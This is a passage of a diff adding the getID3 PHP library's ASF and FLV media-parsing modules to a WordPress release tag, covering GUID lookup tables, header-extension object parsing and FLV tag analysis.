+			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
+			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
+			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
+			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
+			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
+			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
+			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html
+		);
+		return $GUIDarray;
+	}
+
+	public static function GUIDname($GUIDstring) {
+		static $GUIDarray = array();
+		if (empty($GUIDarray)) {
+			$GUIDarray = self::KnownGUIDs();
+		}
+		return array_search($GUIDstring, $GUIDarray);
+	}
+
+	public static function ASFIndexObjectIndexTypeLookup($id) {
+		static $ASFIndexObjectIndexTypeLookup = array();
+		if (empty($ASFIndexObjectIndexTypeLookup)) {
+			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
+			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
+			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
+		}
+		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
+	}
+
+	public static function GUIDtoBytestring($GUIDstring) {
+		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
+		// first 4 bytes are in little-endian order
+		// next 2 bytes are appended in little-endian order
+		// next 2 bytes are appended in little-endian order
+		// next 2 bytes are appended in big-endian order
+		// next 6 bytes are appended in big-endian order
+
+		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
+		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp
+
+		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));
+
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
+		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));
+
+		return $hexbytecharstring;
+	}
+
+	public static function BytestringToGUID($Bytestring) {
+		$GUIDstring  = str_pad(dechex(ord($Bytestring{3})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{2})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{1})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{0})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{5})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{4})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{7})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{6})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{8})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{9})),  2, '0', STR_PAD_LEFT);
+		$GUIDstring .= '-';
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{10})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{11})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{12})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{13})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{14})), 2, '0', STR_PAD_LEFT);
+		$GUIDstring .= str_pad(dechex(ord($Bytestring{15})), 2, '0', STR_PAD_LEFT);
+
+		return strtoupper($GUIDstring);
+	}
+
+	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
+		// FILETIME is a 64-bit unsigned integer representing
+		// the number of 100-nanosecond intervals since January 1, 1601
+		// UNIX timestamp is number of seconds since January 1, 1970
+		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
+		if ($round) {
+			return intval(round(($FILETIME - 116444736000000000) / 10000000));
+		}
+		return ($FILETIME - 116444736000000000) / 10000000;
+	}
+
+	public static function WMpictureTypeLookup($WMpictureType) {
+		static $lookup = null;
+		if ($lookup === null) {
+			$lookup = array(
+				0x03 => 'Front Cover',
+				0x04 => 'Back Cover',
+				0x00 => 'User Defined',
+				0x05 => 'Leaflet Page',
+				0x06 => 'Media Label',
+				0x07 => 'Lead Artist',
+				0x08 => 'Artist',
+				0x09 => 'Conductor',
+				0x0A => 'Band',
+				0x0B => 'Composer',
+				0x0C => 'Lyricist',
+				0x0D => 'Recording Location',
+				0x0E => 'During Recording',
+				0x0F => 'During Performance',
+				0x10 => 'Video Screen Capture',
+				0x12 => 'Illustration',
+				0x13 => 'Band Logotype',
+				0x14 => 'Publisher Logotype'
+			);
+			$lookup = array_map(function($str) {
+				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
+			}, $lookup);
+		}
+
+		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
+	}
+
+	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
+		// http://msdn.microsoft.com/en-us/library/bb643323.aspx
+
+		$offset = 0;
+		$objectOffset = 0;
+		$HeaderExtensionObjectParsed = array();
+		while ($objectOffset < strlen($asf_header_extension_object_data)) {
+			$offset = $objectOffset;
+			$thisObject = array();
+
+			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
+			$offset += 16;
+			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
+			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);
+
+			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+			$offset += 8;
+			if ($thisObject['size'] <= 0) {
+				break;
+			}
+
+			switch ($thisObject['guid']) {
+				case GETID3_ASF_Extended_Stream_Properties_Object:
+					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+					$offset += 8;
+					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);
+
+					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
+					$offset += 8;
+					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);
+
+					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
+					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
+					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
+					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;
+
+					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+					$offset += 4;
+
+					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
+						$streamName = array();
+
+						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$streamName['stream_name']                   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']));
+						$offset += $streamName['stream_name_length'];
+
+						$thisObject['stream_names'][$i] = $streamName;
+					}
+
+					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
+						$payloadExtensionSystem = array();
+
+						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
+						$offset += 16;
+						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);
+
+						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
+							break 2;
+						}
+
+						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
+						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']));
+						$offset += $payloadExtensionSystem['extension_system_info_length'];
+
+						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
+					}
+
+					break;
+
+				case GETID3_ASF_Padding_Object:
+					// padding, skip it
+					break;
+
+				case GETID3_ASF_Metadata_Object:
+					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
+						$descriptionRecord = array();
+
+						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
+						$offset += 2;
+
+						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);
+
+						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
+						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
+						$offset += $descriptionRecord['name_length'];
+
+						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
+						$offset += $descriptionRecord['data_length'];
+						switch ($descriptionRecord['data_type']) {
+							case 0x0000: // Unicode string
+								break;
+
+							case 0x0001: // BYTE array
+								// do nothing
+								break;
+
+							case 0x0002: // BOOL
+								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
+								break;
+
+							case 0x0003: // DWORD
+							case 0x0004: // QWORD
+							case 0x0005: // WORD
+								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
+								break;
+
+							case 0x0006: // GUID
+								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
+								break;
+						}
+
+						$thisObject['description_record'][$i] = $descriptionRecord;
+					}
+					break;
+
+				case GETID3_ASF_Language_List_Object:
+					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
+						$languageIDrecord = array();
+
+						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
+						$offset += 1;
+
+						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
+						$offset += $languageIDrecord['language_id_length'];
+
+						$thisObject['language_id_record'][$i] = $languageIDrecord;
+					}
+					break;
+
+				case GETID3_ASF_Metadata_Library_Object:
+					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+					$offset += 2;
+
+					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
+						$descriptionRecord = array();
+
+						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+
+						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
+						$offset += 2;
+						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);
+
+						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
+						$offset += 4;
+
+						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
+						$offset += $descriptionRecord['name_length'];
+
+						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
+						$offset += $descriptionRecord['data_length'];
+
+						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
+							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
+							foreach ($WMpicture as $key => $value) {
+								$descriptionRecord['data'] = $WMpicture;
+							}
+							unset($WMpicture);
+						}
+
+						$thisObject['description_record'][$i] = $descriptionRecord;
+					}
+					break;
+
+				default:
+					$unhandled_sections++;
+					if ($this->GUIDname($thisObject['guid_text'])) {
+						$this->getid3->info['warning'][] = 'unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8);
+					} else {
+						$this->getid3->info['warning'][] = 'unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8);
+					}
+					break;
+			}
+			$HeaderExtensionObjectParsed[] = $thisObject;
+
+			$objectOffset += $thisObject['size'];
+		}
+		return $HeaderExtensionObjectParsed;
+	}
+
+
+	public static function metadataLibraryObjectDataTypeLookup($id) {
+		static $lookup = array(
+			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
+			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
+			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
+			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
+			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
+			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
+			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
+	}
+
+	public function ASF_WMpicture(&$data) {
+		//typedef struct _WMPicture{
+		//  LPWSTR  pwszMIMEType;
+		//  BYTE  bPictureType;
+		//  LPWSTR  pwszDescription;
+		//  DWORD  dwDataLen;
+		//  BYTE*  pbData;
+		//} WM_PICTURE;
+
+		$WMpicture = array();
+
+		$offset = 0;
+		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
+		$offset += 1;
+		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
+		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
+		$offset += 4;
+
+		$WMpicture['image_mime'] = '';
+		do {
+			$next_byte_pair = substr($data, $offset, 2);
+			$offset += 2;
+			$WMpicture['image_mime'] .= $next_byte_pair;
+		} while ($next_byte_pair !== "\x00\x00");
+
+		$WMpicture['image_description'] = '';
+		do {
+			$next_byte_pair = substr($data, $offset, 2);
+			$offset += 2;
+			$WMpicture['image_description'] .= $next_byte_pair;
+		} while ($next_byte_pair !== "\x00\x00");
+
+		$WMpicture['dataoffset'] = $offset;
+		$WMpicture['data'] = substr($data, $offset);
+
+		$imageinfo = array();
+		$WMpicture['image_mime'] = '';
+		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
+		unset($imageinfo);
+		if (!empty($imagechunkcheck)) {
+			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+		}
+		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
+			$this->getid3->info['asf']['comments']['picture'] = array();
+		}
+		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);
+
+		return $WMpicture;
+	}
+
+
+	// Remove terminator 00 00 and convert UTF-16LE to Latin-1
+	public static function TrimConvert($string) {
+		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
+	}
+
+
+	// Remove terminator 00 00
+	public static function TrimTerm($string) {
+		// remove terminator, only if present (it should be, but...)
+		if (substr($string, -2) === "\x00\x00") {
+			$string = substr($string, 0, -2);
+		}
+		return $string;
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio-video.flv.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio-video.flv.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio-video.flv.php	(revision 33402)
@@ -0,0 +1,745 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+//                                                             //
+//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
+//                                                             //
+//  * version 0.1 (26 June 2005)                               //
+//                                                             //
+//                                                             //
+//  * version 0.1.1 (15 July 2005)                             //
+//  minor modifications by James Heinrich <info@getid3.org>    //
+//                                                             //
+//  * version 0.2 (22 February 2006)                           //
+//  Support for On2 VP6 codec and meta information             //
+//    by Steve Webster <steve.websterØfeaturecreep*com>        //
+//                                                             //
+//  * version 0.3 (15 June 2006)                               //
+//  Modified to not read entire file into memory               //
+//    by James Heinrich <info@getid3.org>                      //
+//                                                             //
+//  * version 0.4 (07 December 2007)                           //
+//  Bugfixes for incorrectly parsed FLV dimensions             //
+//    and incorrect parsing of onMetaTag                       //
+//    by Evgeny Moysevich <moysevichØgmail*com>                //
+//                                                             //
+//  * version 0.5 (21 May 2009)                                //
+//  Fixed parsing of audio tags and added additional codec     //
+//    details. The duration is now read from onMetaTag (if     //
+//    exists), rather than parsing whole file                  //
+//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
+//                                                             //
+//  * version 0.6 (24 May 2009)                                //
+//  Better parsing of files with h264 video                    //
+//    by Evgeny Moysevich <moysevichØgmail*com>                //
+//                                                             //
+//  * version 0.6.1 (30 May 2011)                              //
+//    prevent infinite loops in expGolombUe()                  //
+//                                                             //
+//  * version 0.7.0 (16 Jul 2013)                              //
+//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
+//  improved AVCSequenceParameterSetReader::readData()         //
+//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
+//                                                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.flv.php                                  //
+// module for analyzing Shockwave Flash Video files            //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+define('GETID3_FLV_TAG_AUDIO',          8);
+define('GETID3_FLV_TAG_VIDEO',          9);
+define('GETID3_FLV_TAG_META',          18);
+
+define('GETID3_FLV_VIDEO_H263',         2);
+define('GETID3_FLV_VIDEO_SCREEN',       3);
+define('GETID3_FLV_VIDEO_VP6FLV',       4);
+define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
+define('GETID3_FLV_VIDEO_SCREENV2',     6);
+define('GETID3_FLV_VIDEO_H264',         7);
+
+define('H264_AVC_SEQUENCE_HEADER',          0);
+define('H264_PROFILE_BASELINE',            66);
+define('H264_PROFILE_MAIN',                77);
+define('H264_PROFILE_EXTENDED',            88);
+define('H264_PROFILE_HIGH',               100);
+define('H264_PROFILE_HIGH10',             110);
+define('H264_PROFILE_HIGH422',            122);
+define('H264_PROFILE_HIGH444',            144);
+define('H264_PROFILE_HIGH444_PREDICTIVE', 244);
+
+class getid3_flv extends getid3_handler {
+
+	const magic = 'FLV';
+
+	public $max_frames = 100000; // break out of the loop if too many frames have been scanned; only scan this many if meta frame does not contain useful duration
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$this->fseek($info['avdataoffset']);
+
+		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
+		$FLVheader = $this->fread(5);
+
+		$info['fileformat'] = 'flv';
+		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
+		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
+		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));
+
+		if ($info['flv']['header']['signature'] != self::magic) {
+			$info['error'][] = 'Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"';
+			unset($info['flv'], $info['fileformat']);
+			return false;
+		}
+
+		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
+		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);
+
+		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
+		$FLVheaderFrameLength = 9;
+		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
+			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
+		}
+		$Duration = 0;
+		$found_video = false;
+		$found_audio = false;
+		$found_meta  = false;
+		$found_valid_meta_playtime = false;
+		$tagParseCount = 0;
+		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
+		$flv_framecount = &$info['flv']['framecount'];
+		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
+			$ThisTagHeader = $this->fread(16);
+
+			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
+			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
+			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
+			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
+			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
+			$NextOffset = $this->ftell() - 1 + $DataLength;
+			if ($Timestamp > $Duration) {
+				$Duration = $Timestamp;
+			}
+
+			$flv_framecount['total']++;
+			switch ($TagType) {
+				case GETID3_FLV_TAG_AUDIO:
+					$flv_framecount['audio']++;
+					if (!$found_audio) {
+						$found_audio = true;
+						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
+						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
+						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
+						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
+					}
+					break;
+
+				case GETID3_FLV_TAG_VIDEO:
+					$flv_framecount['video']++;
+					if (!$found_video) {
+						$found_video = true;
+						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;
+
+						$FLVvideoHeader = $this->fread(11);
+
+						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
+							// this code block contributed by: moysevichØgmail*com
+
+							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
+							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
+								//	read AVCDecoderConfigurationRecord
+								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
+								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
+								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
+								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
+								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));
+
+								if (($numOfSequenceParameterSets & 0x1F) != 0) {
+									//	there is at least one SequenceParameterSet
+									//	read size of the first SequenceParameterSet
+									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
+									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
+									//	read the first SequenceParameterSet
+									$sps = $this->fread($spsSize);
+									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
+										$spsReader = new AVCSequenceParameterSetReader($sps);
+										$spsReader->readData();
+										$info['video']['resolution_x'] = $spsReader->getWidth();
+										$info['video']['resolution_y'] = $spsReader->getHeight();
+									}
+								}
+							}
+							// end: moysevichØgmail*com
+
+						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {
+
+							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
+							$PictureSizeType = $PictureSizeType & 0x0007;
+							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
+							switch ($PictureSizeType) {
+								case 0:
+									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
+									//$PictureSizeEnc <<= 1;
+									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
+									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
+									//$PictureSizeEnc <<= 1;
+									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;
+
+									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
+									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
+									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
+									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
+									break;
+
+								case 1:
+									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
+									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
+									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
